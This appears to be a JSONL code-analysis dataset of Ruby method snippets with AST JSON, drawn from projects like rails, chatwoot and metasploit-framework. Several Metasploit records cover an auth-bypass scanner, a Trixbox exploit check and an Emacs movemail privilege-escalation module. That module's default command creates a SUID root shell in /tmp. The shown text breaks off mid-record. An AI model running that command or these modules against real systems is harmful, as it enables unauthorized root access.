{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/builders/messages/message_builder.rb","start_line":131,"raw_source":"def external_created_at\n    @params[:external_created_at].present? ? { external_created_at: @params[:external_created_at] } : {}\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"external_created_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"external_created_at\"]}]},\"present?\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"external_created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"external_created_at\"]}]}]}]},{\"type\":\"hash\",\"children\":[]}]}]}","id":"8ed8e4f5-0c09-4778-957a-c6a2fe3b2dd6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/verb_auth_bypass.rb","start_line":16,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'HTTP Verb Authentication Bypass Scanner',\n        'Description' => %q{\n          This module test for authentication bypass using different HTTP verbs.\n        },\n        'Author' => ['et [at] metasploit.com'],\n        'License' => BSD_LICENSE,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, \"The path to test\", '/'])\n      ]\n    )\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"HTTP Verb Authentication Bypass Scanner\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module test for authentication bypass using different HTTP verbs.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"et [at] metasploit.com\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"BSD_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to test\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"d4d1fe90-6d0d-438c-beeb-884f5b42ae38"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/helpers/spree/filters_helper.rb","start_line":152,"raw_source":"def map_filters_params_to_form_fields(filters_params, prefix_key = nil)\n      filters_params.to_h.map do |key, value|\n        key = CGI.escapeHTML(key)\n        key = [prefix_key, key].join('][') if prefix_key.present?\n\n        if value.is_a?(Array)\n          value.map do |v|\n            v = CGI.escapeHTML(v)\n            \"<input type='hidden' name='filter[#{key}][]' value='#{v}' />\"\n          end.join\n        elsif value.is_a?(Hash)\n          map_filters_params_to_form_fields(value, key)\n        else\n          value = CGI.escapeHTML(value)\n          \"<input type='hidden' name='filter[#{key}]' value='#{value}' />\"\n        end\n      end.join.html_safe\n    end","complexity_score":39.3,"ast_json":"{\"type\":\"def\",\"children\":[\"map_filters_params_to_form_fields\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filters_params\"]},{\"type\":\"optarg\",\"children\":[\"prefix_key\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filters_params\"]},\"to_h\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escapeHTML\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix_key\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix_key\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"join\",{\"type\":\"str\",\"children\":[\"][\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"v\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escapeHTML\",{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<input type='hidden' name='filter[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"][]' value='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]},{\"type\":\"str\",\"children\":[\"' />\"]}]}]}]},\"join\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[null,\"map_filters_params_to_form_fields\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escapeHTML\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<input type='hidden' name='filter[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"]' value='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"' />\"]}]}]}]}]}]}]},\"join\"]},\"html_safe\"]}]}","id":"ec41ef56-dce7-4379-a119-361ddeb43986"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/lexers/coffeescript.rb","start_line":32,"raw_source":"def self.builtins\n        @builtins ||= Set.new %w(\n          Array Boolean Date Error Function Math netscape Number Object\n          Packages RegExp String sun decodeURI decodeURIComponent\n          encodeURI encodeURIComponent eval isFinite isNaN parseFloat\n          parseInt document window\n        )\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"builtins\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@builtins\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Array\"]},{\"type\":\"str\",\"children\":[\"Boolean\"]},{\"type\":\"str\",\"children\":[\"Date\"]},{\"type\":\"str\",\"children\":[\"Error\"]},{\"type\":\"str\",\"children\":[\"Function\"]},{\"type\":\"str\",\"children\":[\"Math\"]},{\"type\":\"str\",\"children\":[\"netscape\"]},{\"type\":\"str\",\"children\":[\"Number\"]},{\"type\":\"str\",\"children\":[\"Object\"]},{\"type\":\"str\",\"children\":[\"Packages\"]},{\"type\":\"str\",\"children\":[\"RegExp\"]},{\"type\":\"str\",\"children\":[\"String\"]},{\"type\":\"str\",\"children\":[\"sun\"]},{\"type\":\"str\",\"children\":[\"decodeURI\"]},{\"type\":\"str\",\"children\":[\"decodeURIComponent\"]},{\"type\":\"str\",\"children\":[\"encodeURI\"]},{\"type\":\"str\",\"children\":[\"encodeURIComponent\"]},{\"type\":\"str\",\"children\":[\"eval\"]},{\"type\":\"str\",\"children\":[\"isFinite\"]},{\"type\":\"str\",\"children\":[\"isNaN\"]},{\"type\":\"str\",\"children\":[\"parseFloat\"]},{\"type\":\"str\",\"children\":[\"parseInt\"]},{\"type\":\"str\",\"children\":[\"document\"]},{\"type\":\"str\",\"children\":[\"window\"]}]}]}]}]}","id":"bd06fb51-0b6d-4db3-8c35-1a3d5e3f4110"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/local/emacs_movemail.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Emacs movemail Privilege Escalation',\n        'Description' => %q{\n          This module exploits a SUID installation of the Emacs movemail utility\n          to run a command as root by writing to 4.3BSD's /usr/lib/crontab.local.\n\n          The vulnerability is documented in Cliff Stoll's book The Cuckoo's Egg.\n        },\n        'Author' => [\n          'Markus Hess', # Discovery? atrun(8) exploit for sure\n          'Cliff Stoll', # The Cuckoo's Egg hacker tracker\n          'wvu' # Module and additional research\n        ],\n        'References' => [\n          %w[URL https://en.wikipedia.org/wiki/Movemail],\n          %w[URL https://en.wikipedia.org/wiki/The_Cuckoo%27s_Egg],\n          %w[URL http://pdf.textfiles.com/academics/wilyhacker.pdf],\n          %w[URL https://www.gnu.org/software/emacs/manual/html_node/efaq/Security-risks-with-Emacs.html],\n          %w[URL https://www.gnu.org/software/emacs/manual/html_node/emacs/Movemail.html],\n          %w[URL https://mailutils.org/manual/html_node/movemail.html]\n        ],\n        'DisclosureDate' => '1986-08-01', # Day unknown, assuming first of month\n        'License' => MSF_LICENSE,\n        'Platform' => 'unix',\n        'Arch' => ARCH_CMD,\n        'SessionTypes' => %w[shell],\n        'Privileged' => true,\n        'Payload' => { 'BadChars' => \"\\n\", 'Encoder' => 'generic/none' },\n        'Targets' => [['/usr/lib/crontab.local', {}]],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'PAYLOAD' => 'cmd/unix/generic',\n          'CMD' => 'cp /bin/sh /tmp && chmod u+s /tmp/sh'\n        },\n        'Notes' => {\n          'Reliability' => [REPEATABLE_SESSION],\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('MOVEMAIL', [true, 'Path to movemail', '/etc/movemail'])\n    ])\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Emacs movemail Privilege Escalation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a SUID installation of the Emacs movemail utility\\n\"]},{\"type\":\"str\",\"children\":[\"          to run a command as root by writing to 4.3BSD's /usr/lib/crontab.local.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The vulnerability is documented in Cliff Stoll's book The Cuckoo's Egg.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Markus Hess\"]},{\"type\":\"str\",\"children\":[\"Cliff Stoll\"]},{\"type\":\"str\",\"children\":[\"wvu\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://en.wikipedia.org/wiki/Movemail\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://en.wikipedia.org/wiki/The_Cuckoo%27s_Egg\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://pdf.textfiles.com/academics/wilyhacker.pdf\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.gnu.org/software/emacs/manual/html_node/efaq/Security-risks-with-Emacs.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.gnu.org/software/emacs/manual/html_node/emacs/Movemail.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://mailutils.org/manual/html_node/movemail.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"1986-08-01\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shell\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Encoder\"]},{\"type\":\"str\",\"children\":[\"generic/none\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"/usr/lib/crontab.local\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/unix/generic\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CMD\"]},{\"type\":\"str\",\"children\":[\"cp /bin/sh /tmp && chmod u+s /tmp/sh\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"MOVEMAIL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path to movemail\"]},{\"type\":\"str\",\"children\":[\"/etc/movemail\"]}]}]}]}]}]}]}","id":"898bcb05-9bae-4b58-b822-8eb3b8049ee2"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/application_controller.rb","start_line":288,"raw_source":"def anonymous_user\n    User.new(ip_address: request.env[\"HTTP_FASTLY_CLIENT_IP\"] || request.remote_ip)\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"anonymous_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip_address\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_FASTLY_CLIENT_IP\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"remote_ip\"]}]}]}]}]}]}","id":"0bb52d26-c83c-4c86-aab6-fa333131a06d"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/crm/leadsquared/mappers/conversation_mapper.rb","start_line":74,"raw_source":"def format_message(message)\n    <<~MESSAGE.strip\n      [#{message_time(message)}] #{sender_name(message)}: #{message_content(message)}#{attachment_info(message)}\n    MESSAGE\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"format_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message_time\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"str\",\"children\":[\"] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sender_name\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message_content\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachment_info\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"strip\"]}]}","id":"75c46d76-d38f-4909-bedc-d496adb8b2af"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb","start_line":1560,"raw_source":"def change_table_comment(table_name, comment_or_changes)\n        raise NotImplementedError, \"#{self.class} does not support changing table comments\"\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"change_table_comment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"comment_or_changes\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" does not support changing table comments\"]}]}]}]}","id":"dbfaef68-b441-49e4-987c-48deef18092a"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/assign_test.rb","start_line":8,"raw_source":"def test_assign_with_hyphen_in_variable_name\n    template_source = <<~END_TEMPLATE\n      {% assign this-thing = 'Print this-thing' -%}\n      {{ this-thing -}}\n    END_TEMPLATE\n    assert_template_result(\"Print this-thing\", template_source)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assign_with_hyphen_in_variable_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template_source\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{% assign this-thing = 'Print this-thing' -%}\\n\"]},{\"type\":\"str\",\"children\":[\"{{ this-thing -}}\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"Print this-thing\"]},{\"type\":\"lvar\",\"children\":[\"template_source\"]}]}]}]}","id":"02b6e5a8-091e-432a-8811-83fdc3df7f8e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/schema_test.rb","start_line":272,"raw_source":"def test_data_source_exists_when_not_on_schema_search_path\n    with_schema_search_path(\"PUBLIC\") do\n      assert_not(@connection.data_source_exists?(TABLE_NAME), \"data_source exists but should not be found\")\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_data_source_exists_when_not_on_schema_search_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_schema_search_path\",{\"type\":\"str\",\"children\":[\"PUBLIC\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"data_source_exists?\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\"data_source exists but should not be found\"]}]}]}]}","id":"5d567ea7-28bf-4b82-acbc-089afb8b1648"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/trixbox_langchoice.rb","start_line":66,"raw_source":"def check\n    # We need to ensure that this can be reached via POST\n    uri = normalize_uri(datastore['URI'])\n    target_code = 200\n\n    vprint_status \"Attempting to POST to #{uri}\"\n    response = send_request_cgi({ 'uri' => uri, 'method' => 'POST' })\n\n    unless defined? response\n      vprint_error 'Server did not respond to HTTP POST request'\n      return Exploit::CheckCode::Unknown\n    end\n\n    code = response.code\n\n    unless code == target_code\n      vprint_error \"Expected HTTP code #{target_code}, but got #{code}.\"\n      return Exploit::CheckCode::Safe\n    end\n\n    vprint_status \"We received the expected HTTP code #{target_code}\"\n\n    # We will need the cookie PHPSESSID to continue\n    cookies = response.get_cookies\n\n    # Make sure cookies were set\n    if defined? cookies and cookies =~ PHPSESSID_REGEX\n      vprint_good \"We were successfully sent a PHPSESSID of '#{$1}'\"\n    else\n      vprint_error 'The server did not send us the cookie we were looking for'\n      return Exploit::CheckCode::Safe\n    end\n\n    # Okay, at this point we're just being silly and hackish.\n    unless response.body =~ /langChoice/\n      vprint_error 'The page does not appear to contain a langChoice field'\n      return Exploit::CheckCode::Safe\n    end\n\n    # XXX: Looking for a good way of determine if it is NOT trixbox\n    # unless response.body.match(/trixbox - User Mode/)\n    # \tprint_status 'The target does not appear to be running trixbox'\n    # \treturn Exploit::CheckCode::Safe\n    # end\n    # print_status 'The target appears to be running trixbox'\n\n    # If it has the target footer, we know its vulnerable\n    # however skining may mean the reverse is not true\n    # We've only tested on v2.6.1, so that is all we will guarantee\n    # Example footer: v2.6.1 &copy;2008 Fonality\n    #\t\tif response.body =~ /(v2\\.(?:[0-5]\\.\\d|6\\.[0-1]))\\s{2}&copy;200[0-8] Fonality/\n    if response.body =~ /(v2\\.6\\.1)\\s{2}&copy;2008 Fonality/\n      vprint_status \"Trixbox #{$1} detected!\"\n      return Exploit::CheckCode::Appears\n    end\n\n    vprint_status 'The target may be skinned making detection too difficult'\n\n    if response.body =~ /trixbox - User Mode/\n      return Exploit::CheckCode::Detected\n    end\n\n    return Exploit::CheckCode::Safe\n  end","complexity_score":34.05,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URI\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_code\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to POST to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Server did not respond to HTTP POST request\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"code\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"target_code\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected HTTP code \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_code\"]}]},{\"type\":\"str\",\"children\":[\", but got \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"We received the expected HTTP code 